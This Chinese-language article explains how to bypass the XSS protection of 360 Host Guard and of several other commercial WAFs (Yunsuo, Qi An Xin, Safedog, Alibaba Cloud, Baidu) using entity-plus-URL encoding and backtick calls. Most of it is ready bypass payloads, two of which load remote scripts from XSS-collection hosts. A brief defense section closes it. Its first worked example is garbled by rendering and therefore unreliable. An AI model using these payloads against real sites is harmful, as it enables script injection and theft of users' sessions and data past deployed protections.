某主机卫士xss绕过
字数 1001 2025-08-25 22:59:03
360主机卫士XSS绕过技术分析与防御方案
前言
360主机卫士是360公司推出的服务器安全软件,提供网站后门检测、木马查杀、漏洞防护等服务。虽然该软件已停止更新,但研究其绕过技术对其他WAF防护系统仍有参考价值。
测试环境
- 浏览器:火狐
- 服务器环境:
- 360主机卫士Apache版
- phpStudy2016 (PHP-5.4.45 + Apache)
- 测试代码:
<?php
$input = @$_REQUEST["xss"];
echo "<div>".$input."</div>"
?>
绕过技术详解
基础绕过技术
1. HTML实体编码绕过
原理:将关键字符进行HTML实体编码后再URL编码,绕过WAF的简单模式匹配。
示例:
- 原始payload:
<svg onload=alert(1)>被拦截 - 绕过payload:
<svg > onload=alert1>- 其中
>是>的HTML实体编码 - 进一步URL编码为
%26%2362
- 其中
技术要点:
- 使用反引号
`代替括号()来执行函数 - 将
>编码为%26%2362(即>的URL编码形式)
2. 有效payload示例
<style %26%2362 onload=alert`1`>
<audio %26%2362 src=x onerror=alert`1`>
<svg %26%2362 onload=appendChild(createElement('script')).src='//xs.ax/HfcB'>
其他WAF绕过技术
1. 云锁绕过
payload:
<svg %26%2362 onload=alert`1`>
2. 奇安信CDN绕过
初始payload:被拦截
<svg %26%2362 onload=alert`1`>
绕过方法:使用HTML5新标签
<select autofocus onfocus=[2].find(alert)>
3. 安全狗绕过
可直接使用上述编码技术绕过
4. 阿里云WAF绕过
初始payload:被拦截
绕过方法:
<input onfocus="document.body.appendChild(createElement('script')).src='//xss.xx/B6Bb'" autofocus>
5. 百度云加速绕过
可直接使用上述编码技术绕过
防御建议
-
输入过滤:
- 实现多层次的编码识别和解码
- 对HTML实体编码和URL编码进行规范化处理
-
输出编码:
- 根据输出上下文(HTML/JS/CSS/URL)进行适当的编码
- 使用安全的API如
textContent代替innerHTML
-
WAF规则增强:
- 检测非常规的事件处理器使用方式
- 监控HTML5新标签的滥用
- 识别反引号形式的函数调用
-
内容安全策略(CSP):
- 实施严格的CSP策略限制内联脚本执行
- 限制外部资源加载
-
其他措施:
- 保持WAF规则库更新
- 对用户输入进行语义分析而不仅是模式匹配
总结
本案例展示了通过字符编码技术绕过WAF防护的方法,特别是利用>符号的HTML实体编码和URL编码组合绕过过滤机制。这种技术不仅适用于360主机卫士,对其他WAF产品也有参考价值。防御此类攻击需要综合运用输入过滤、输出编码、WAF规则优化和CSP策略等多种安全措施。